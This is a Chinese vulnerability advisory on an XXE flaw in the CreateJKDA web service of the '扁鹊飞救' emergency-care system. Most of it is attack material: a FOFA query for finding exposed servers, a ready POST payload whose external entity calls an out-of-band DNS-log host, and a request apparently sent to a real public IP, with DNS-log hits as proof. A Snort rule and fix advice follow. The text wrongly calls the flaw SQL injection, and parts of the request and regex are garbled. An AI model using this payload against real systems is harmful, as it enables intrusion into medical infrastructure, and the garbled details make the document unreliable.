

扁鹊飞救智能急救与质控系统 CreateJKDA XML实体注入漏洞

扁鹊飞救智能急救与质控系统 CreateJKDA XML实体注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

扁鹊飞救智能急救与质控系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: icon_hash="-757866684" || icon_hash="-1206146847"

POC/EXP:

```
POST /AppService/BQMedical/webServiceForFirstaidApp.asmx/CreateJKDA HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Upgrade-Insecure-Requests: 1

requestXml=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://7qvrk4jj.eyes.sh"> %remote;]>
```

原始 HTTP 请求

```
1 POST /AppService/BQMedical/WebServiceForFirstaidApp.asmx/CreateJKDA-
2 HTTP/1.1
3 Host: 219.149.181.46:8000
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0)
5 Gecko/20100101 Firefox/139.0
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;
7 q=0.8
8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,
9 en;q=0.2
10 Accept-Encoding: gzip, deflate, br, zstd
11 Content-Type: application/x-www-form-urlencoded
12 Connection: keep-alive
13 Upgrade-Insecure-Requests: 1
14
15 requestXml=<?xml version="1.0" encoding="UTF-8"?>
16 <!DOCTYPE root [ <ENTITY-%remote.SYSTEM-"http://7qvrk4jj.eyes.sh">
17 %remote; ]>
```

原始 HTTP 响应

```
1 HTTP/1.1 500 Internal Server Error
2 Cache-Control: private
3 Content-Type: text/plain; charset=utf-8
4 Server: Microsoft-IIS/8.5
5 X-AspNet-Version: 4.0.30319
6 X-Powered-By: ASP.NET
7 Access-Control-Allow-Methods: OPTIONS,POST,GET
8 Access-Control-Allow-Headers: x-requested-with,content-type
9 Access-Control-Allow-Origin: *
10 Date: Mon, 09 Jun 2025 09:00:36 GMT
11 Content-Length: 58
12
13 未找到所需的 DTD 标记。第 1 行, 位置 1。
14
```

DNSLogWebLogAPIRebindPayloads

7qvrk4jj退出

域名

搜索

子域名: 7qvrk4jj.eyes.sh

☒ 监视刷新

ID	域名	Type	IP	Count	位置	时间	操作
172222001	7qvrk4jj.eyes.sh	A		5		2025-06-	删除
172221998	7qvrk4jj.eyes.sh	A	1			2025-06-	删除
172221852	7qvrk4jj.eyes.sh	A				2025-06-1	删除
172221851	7qvrk4jj.eyes.sh	A				2025-06-1	删除
172221845	7qvrk4jj.eyes.sh	A				2025-06-	删除
172221843	7qvrk4jj.eyes.sh	A	2			2025-06-	删除

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"BianQue FirstAid System - XXE Injection in CreateJKDA";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/AppService/BQMedical/WebServiceForFirstaidApp.asmx/CreateJKDA";
  http_uri;
  content:"Content-Type: application/x-www-form-urlencoded";
  http_client_header;
  pcre:"/requestXml=[^&]*<?xml[^>]*>
<!DOCTYPE[^>]*ENTITY\s+%s+remote\s+SYSTEM\s+[\x22\x27]http:/i";
  metadata:service http;
  metadata:affected_product "扁鹊飞救智能急救与质控系统";
  metadata:attack_type "XML External Entity (XXE) Injection";
  metadata:severity "high";
  reference:url,www.example.com/vulndb/bianque-xxe;
  classtype:web-application-attack;
  sid:1000087;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。